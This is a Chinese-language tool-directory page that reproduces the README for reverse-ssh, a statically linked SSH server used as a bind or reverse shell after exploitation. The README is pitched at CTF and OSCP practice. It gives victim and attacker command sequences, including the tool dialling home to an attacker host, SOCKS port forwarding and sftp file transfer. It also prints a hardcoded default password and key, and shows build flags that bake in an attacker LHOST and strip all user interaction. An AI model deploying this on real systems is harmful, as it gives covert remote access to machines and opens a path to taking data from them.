Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
reverse-ssh — 用于CTF等场景的静态链接SSH服务器,具有反向Shell功能 | Kitploit
工具/GitHubGitHub/fahrj/reverse-ssh
后渗透利用CTF渗透测试红队远程访问工具
GitHubfahrj/reverse-ssh

reverse-ssh

用于CTF等场景的静态链接SSH服务器,具有反向Shell功能

查看仓库
1.1k150413年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ReverseSSH

一个静态链接的 SSH 服务器,具备反向连接功能,提供简单而强大的远程访问。在 HackTheBox 挑战、CTF 或类似场景中最为有用。

已在 OSCP 考试准备过程中开发并广泛使用。

获取最新版本

展示

功能

用 netcat 捕获反向 shell 很酷,确实如此,但谁没有因为肌肉记忆而意外地用键盘中断关闭过反向 shell 呢?除了脆弱性之外,这样的 shell 通常还缺少完全交互式访问、TAB 补全或历史记录等便利功能。

相反,你可以选择在目标上部署 轻量级 SSH 服务器(<1.5MB)reverse-ssh,并利用 文件传输和 端口转发等额外功能!

ReverseSSH 试图弥合在目标上获得初始立足点与完全本地权限提升之间的差距。其主要优势如下:

  • 完全交互式 shell 访问(下方查看旧版 Windows 的注意事项)
  • 通过 sftp 进行文件传输
  • 本地/远程/动态端口转发
  • 可用作绑定 shell 和反向 shell
  • 支持 Unix 和 Windows 操作系统

Windows 注意事项

Windows 上的完全交互式 PowerShell 依赖于 Windows 伪控制台 ConPTY,因此至少需要 Win10 Build 17763。在更早的版本上,你仍然可以获得一个交互式反向 shell,但它无法处理虚拟终端代码(如方向键或键盘中断)。在这种情况下,你必须在命令后附加 cmd 参数,即 ssh <选项> <IP> cmd。

对于旧版 Windows,你可以通过将 来自 OpenSSH for Windows 的 ssh-shellhost.exe 放入与 reverse-ssh 相同的目录,并使用 -s ssh-shellhost.exe 标志,来实现完全交互式 shell 访问。这将把所有流量通过 ssh-shellhost.exe 进行管道传输,它模拟了一个 pty 并转换所有虚拟终端代码,以便 Windows 能够理解。

要求

仅仅执行提供的二进制文件仅依赖于 golang 系统要求。

简而言之:

  • Linux:内核版本 2.6.23 及以上
  • Windows:Windows Server 2008R2 及以上,或 Windows 7 及以上

编译还需要以下内容:

  • golang 版本 1.15
  • 可选 upx 用于压缩(例如 apt install upx-ucl)

使用方法

一旦 reverse-ssh 在受害者机器上运行,你可以使用任何用户名和默认密码 letmeinbrudipls、SSH 密钥或你在编译时指定的任何内容进行连接。毕竟,它只是一个 SSH 服务器:

# 完全交互式 shell 访问
$ ssh -p <RPORT> <RHOST>

# 简单命令执行
$ ssh -p <RPORT> <RHOST> whoami

# 全面的文件传输
$ sftp -P <RPORT> <RHOST>

# 动态端口转发(作为 SOCKS 代理,端口 9050)
$ ssh -p <RPORT> -D 9050 <RHOST>

以绑定 shell 方式运行 ReverseSSH

# 受害者
victim$ ./reverse-ssh

# 攻击者(默认密码:letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

以反向 shell 方式运行 ReverseSSH

注意:你可以编译 ReverseSSH 时,设置 LHOST 和 LPORT 参数以简化在目标上的执行,参见下文

# 在攻击者机器上(准备好捕获传入请求;
# 如果你已经运行了 SSH 守护进程(如 OpenSSH),则可以省略)
# 注意:LPORT 8888 可能与传入连接冲突;在这种情况下,请在受害者机器上使用 `-b 8889` 或类似标志
attacker$ ./reverse-ssh -v -l -p <LPORT>

# 在受害者机器上
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# 或者如果 SSH 守护进程监听端口 22,且用户 'kali' 使用密码认证
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# 在攻击者机器上(默认密码:letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# 或者使用下面的 SSH 配置
attacker$ ssh target

归根结底,它就是一个普通的 SSH,因此你可以用你监听在端口 22 上的 openssh 守护进程捕获来自受害者机器的远程端口转发调用。只需在目标前加上 <USER>@,并在提示时提供密码即可。目前,拨回家仅支持密码方式,因为我觉得还没有必要嵌入私钥……

为了更方便,将以下内容添加到你的 ~/.ssh/config,将 SSH 私钥 复制到 ~/.ssh/,然后直接调用 ssh target 或 sftp target:

Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

完整用法

reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [[<user>@]<target>]

Examples:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -l, Start reverseSSH in listening mode (overrides reverse scenario)
        -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
                or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -N, Deny all incoming shell/exec/subsystem and local port forwarding requests
                (if only remote port forwarding is needed, e.g. when catching reverse connections)
        -v, Emit log output

<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user other than 'reverse' while dialling home

Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

构建说明

确保已安装上述要求(如正确版本并正确配置的 golang)。之后,你可以使用 make 编译,这将在 bin 目录中创建静态二进制文件。使用 make compressed 通过 upx 打包二进制文件以进一步减小体积。

$ make

# 或者额外创建用 upx 压缩的二进制文件
$ make compressed

构建技巧

你还可以在编译时指定以下一个或多个环境变量,以自定义 ReverseSSH 的用例:

  • RS_SHELL 更改默认 shell
  • RS_PASS 提供你的自定义密码
  • RS_PUB 提供你的自定义授权密钥
  • LUSER 更改 SSH 连接尝试的默认用户名
  • LHOST 提供默认 LHOST 值,并使 ReverseSSH 默认进入反向场景
  • LPORT 更改默认监听端口或 SSH 连接尝试发送到的端口
  • BPORT 更改攻击机器上反向连接的默认监听端口;0 表示使用任意空闲端口
  • NOCLI 设置为任意值将移除所有用户交互(二进制文件忽略所有提供的标志或参数)
$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

为不同操作系统或架构构建

默认情况下,reverse-ssh 会为当前操作系统和架构编译,同时也会为 Linux 和 Windows 的 x86 和 x64 编译。要为其他架构或其他操作系统编译,你可以提供与目标匹配的环境变量,例如为 linux/arm64:

$ GOARCH=arm64 GOOS=linux make compressed

可以通过 go tool dist list 获取可用目标列表,格式为 OS/arch。

贡献

缺少令人惊叹的功能?有任何运行不正常的?

请创建 issue 或 pull request!

下载工具